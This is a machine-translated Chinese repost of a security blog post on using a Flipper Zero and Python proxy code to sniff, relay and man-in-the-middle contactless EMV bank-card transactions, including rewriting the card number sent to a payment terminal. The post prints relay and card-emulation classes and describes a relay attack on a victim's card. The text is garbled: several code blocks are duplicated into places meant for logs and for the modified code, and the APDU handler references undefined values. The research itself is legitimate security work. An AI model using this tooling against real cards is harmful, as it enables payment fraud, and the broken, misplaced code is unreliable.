在上一篇文章中,我們探討了 Flipper 如何充當 NFC 非接觸式讀卡機和 NFC 卡模擬器。當我們將這兩個功能結合起來時,讀卡機交易的一系列潛在攻擊場景就會顯現出來:
在這篇文章中,我們將詳細解答這三個問題。
上圖(此處提供更高品質)說明了我們旨在為測試前面描述的各種攻擊而建立的設定。
之前,我們將所有資料處理邏輯卸載到在 Flipper 外部運行的 Python 腳本。這種方法消除了每當我們想要進行更改時更新或上傳新韌體的需要。然而,出現了一個問題:這個 Python 代理會引入延遲,從而破壞通訊並導致通訊失敗嗎?
在回答這個問題之前,讓我們先看一下將用於設定此配置的 Python 腳本。
在上一篇部落格文章中,我們介紹了此設定的兩個主要組成部分:
現在,只需將兩者連接在一起即可。我們到底在說什麼?
這些對閱讀器的要求導致了抽象 Reader 類別的創建,如下所述。此外,我們還引入了一種與讀者建立連結的方法。
class Reader(): def __init__(self): pass def connect(self): pass def field_off(self): pass def field_on(self): pass def process_apdu(self, data: bytes) -> bytes: pass
接下來,我們在下面建立一個極簡的 PCSCReader 類別來與 PC/SC 閱讀器互動。
class PCSCReader(Reader): def __init__(self): pass def connect(self): available_readers = readers() if len(available_readers) == 0: print("No card reader avaible.") sys.exit(1) # We use the first detected reader reader = available_readers[0] print(f"Reader detected : {reader}") # Se connecter à la carte self.connection = reader.createConnection() self.connection.connect() def process_apdu(self, data: bytes) -> bytes: print(f"apdu cmd: {data.hex()}") self.connection.transmit(list(data)) resp = bytes(data + [sw1, sw2]) print(f"apdu resp: {resp.hex()}") return resp
現在,我們可以繼續實作卡片模擬器,簡稱Emu,如下所示。它接受一個可選的 Reader 物件作為參數。如果提供,它會與讀者建立連接。
class Emu(Iso14443ASession): def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None): Iso14443ASession.__init__(self, cid, nad, drv, block_size) self._addCID = False self.drv = self._drv self.process_function = process_function self._pcb_block_number: int = 1 # Set to one for an ICC self._iblock_pcb_number = 1 self.iblock_resp_lst = [] self.reader = reader if self.reader: self.reader.connect()
接下來,我們定義三種方法來向閱讀器傳達事件:關閉欄位、開啟欄位、傳送 APDU。
# class Emu(Iso14443ASession): def field_off(self): print("field off") if self.reader: self.reader.field_off() def field_on(self): print("field on") if self.reader: self.reader.field_on() def process_apdu(self, apdu): if self.reader: return self.reader.process_apdu(apdu) else: self.process_function(apdu)
接下來,我們改進了負責在 TPDU 層級管理卡片模擬器命令通訊的方法。值得注意的是,當收到完整的 APDU 命令時,將呼叫 process_apdu 方法將其轉發給讀卡機並從實際卡中檢索回應。
# class Emu(Iso14443ASession): def rblock_process(self, tpdu: Tpdu) -> Tuple[str, bool]: print("r block") if tpdu == "BA00BED9": rtpdu, crc = "BA00", True elif tpdu.pcb in [0xA2, 0xA3, 0xB2, 0xB3]: if len(self.iblock_resp_lst): rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True else: rtpdu = self.build_rblock(ack=True).hex() crc = True return rtpdu, crc def low_level_dispatcher(self): capdu = bytes() ats_sent = False iblock_resp_lst = [] while 1: r = fz.emu_get_cmd() rtpdu = None print(f"tpdu < {r}") if r == "off": self.field_off() elif r == "on": self.field_on() ats_sent = False else: tpdu = Tpdu(bytes.fromhex(r)) if (tpdu.tpdu[0] == 0xE0) and (ats_sent is False): rtpdu, crc = "0A788082022063CBA3A0", True ats_sent = True elif tpdu.r: rtpdu, crc = self.rblock_process(tpdu) elif tpdu.s: print("s block") # Deselect if len(tpdu._inf_field) == 0: rtpdu, crc = "C2E0B4", False # Otherwise, it is a WTX elif tpdu.i: print("i block") capdu += tpdu.inf if tpdu.is_chaining() is False: rapdu = self.process_function(capdu) capdu = bytes() self.iblock_resp_lst = self.chaining_iblock(data=rapdu) rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True print(f">>> rtdpu {rtpdu}\n") fz.emu_send_resp(bytes.fromhex(rtpdu), crc)
最後,我們實作了從 Flipper Zero 啟動卡片模擬的方法。
# class Emu(Iso14443ASession): def run(self): self.drv.start_emulation() print("...go!") self.low_level_dispatcher()
Python 腳本已準備就緒;現在讓我們來看看用於測試它們的硬體設定。
下面是我們對攻擊環境的小型複製。由左至右,我們有:
完美,我們現在擁有執行攻擊所需的所有組件!來戰鬥吧!
我們可以先嘗試嗅探,這意味著來自 Flipper 的 APDU 命令/回應將被轉發到卡,而不進行任何修改。
這工作完美並且保持穩定,Python 程式碼充當中介,沒有明顯的影響!如果 Python 代理程式增加了太多延遲並且終端開始抱怨卡片太慢,我們已經解決了這個問題。我還沒有時間實施的東西:
以下是日誌的摘錄。
class Reader(): def __init__(self): pass def connect(self): pass def field_off(self): pass def field_on(self): pass def process_apdu(self, data: bytes) -> bytes: pass
事實上,一張卡上可以安裝數百個不同的應用程序,每個應用程式都有自己獨特的 AID。終端不會嘗試一一嘗試它們。這就是為什麼在非接觸式銀行領域中,所有卡上都有一個特定的應用程序,旨在指示卡上可用的銀行應用程式。其 AID 為 325041592e5359532e4444463031,轉換為 ASCII 為 2PAY.SYS.DDF01。
在稍後的通訊中,我們可以看到這個應用程式被呼叫(如下圖)。因此,如前所述,先前選擇的 AID D2760000850101 的應用程式似乎不尋常。
class PCSCReader(Reader): def __init__(self): pass def connect(self): available_readers = readers() if len(available_readers) == 0: print("No card reader avaible.") sys.exit(1) # We use the first detected reader reader = available_readers[0] print(f"Reader detected : {reader}") # Se connecter à la carte self.connection = reader.createConnection() self.connection.connect() def process_apdu(self, data: bytes) -> bytes: print(f"apdu cmd: {data.hex()}") self.connection.transmit(list(data)) resp = bytes(data + [sw1, sw2]) print(f"apdu resp: {resp.hex()}") return resp
解析回應時,您可以看到它表明(以及其他詳細資訊)存在 AID A0000000041010 的應用程序,該應用程式對應於 MasterCard。
因此,手機最終選擇了這個應用程式。
隨後,它會從卡中檢索各種詳細信息,包括主帳號 (PAN)。卡片上顯示的數字與終端機上顯示的數字相符,確認我們依靠簡單嗅探的中繼攻擊成功了!
當然,像 Proxmark 這樣的工具可以讓嗅探變得更加簡單,但是當你可以讓它變得複雜時,為什麼還要讓它變得簡單;) ?
現在,讓我們繼續進行中間人攻擊。這意味著我們不僅會傾聽溝通,還會積極改變它。一個有趣的用例可能是修改卡號,例如將 5132 更改為 6132。
回顧我們先前通訊的日誌,我們可以看到這些資料都是以明文形式傳送的。使用 READ RECORD 命令(如 00B2010C00 和 00B2011400)從卡片中檢索它們。
由於資料未加密且缺乏完整性保護,我們可以根據需要對其進行修改。為了實現這一點,我們只需更新 PCSCReader 類別中的 process_apdu 方法來處理變更。
class Emu(Iso14443ASession): def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None): Iso14443ASession.__init__(self, cid, nad, drv, block_size) self._addCID = False self.drv = self._drv self.process_function = process_function self._pcb_block_number: int = 1 # Set to one for an ICC self._iblock_pcb_number = 1 self.iblock_resp_lst = [] self.reader = reader if self.reader: self.reader.connect()
並且如下圖所示,應用程式完全不知道修改!
為什麼它有效?答案如下圖所示,描述了不同的通訊層:
我們也可以玩得開心……由於修改倉促,所以偶爾會隨機更改數據。在一個實例中,如下圖所示,這導致應用程式顯示卡號的大量字符,即使它應該限制為 16 位數!
這為模糊實驗開啟了一些有趣的可能性。
正如本文開頭所提到的,中繼攻擊包括攔截併中繼兩方(例如NFC 卡和終端)之間的通信而不對其進行更改,欺騙終端相信它正在與合法的設備進行通信實時打卡。
駭客想要在終端上付款。他將終端的通訊轉發給受害者附近的同夥,然後同夥在他不知情的情況下與受害者的卡片進行通訊。
先前的實驗證明這種攻擊在受控環境中是可行的,例如車庫。然而,在現實場景中,還需要考慮其他挑戰。
針對中繼攻擊的主要對策之一是測量通訊的時間,因為中繼會引入明顯的延遲。然而,較舊的 EMV 協議不包含促進此類時序檢查的命令。
我們已經到達這篇文章的結尾了。我希望您喜歡這些內容! Python 程式碼和修改後的 Flipper Zero 韌體可以在我的 GitHub 上找到。
https://github.com/gvinet/pynfcreader
https://github.com/gvinet/flipperzero-firmware
以上是Flipper Zero NFC 駭客攻擊 - EMV 銀行、中間人和中繼攻擊的詳細內容。更多資訊請關注PHP中文網其他相關文章!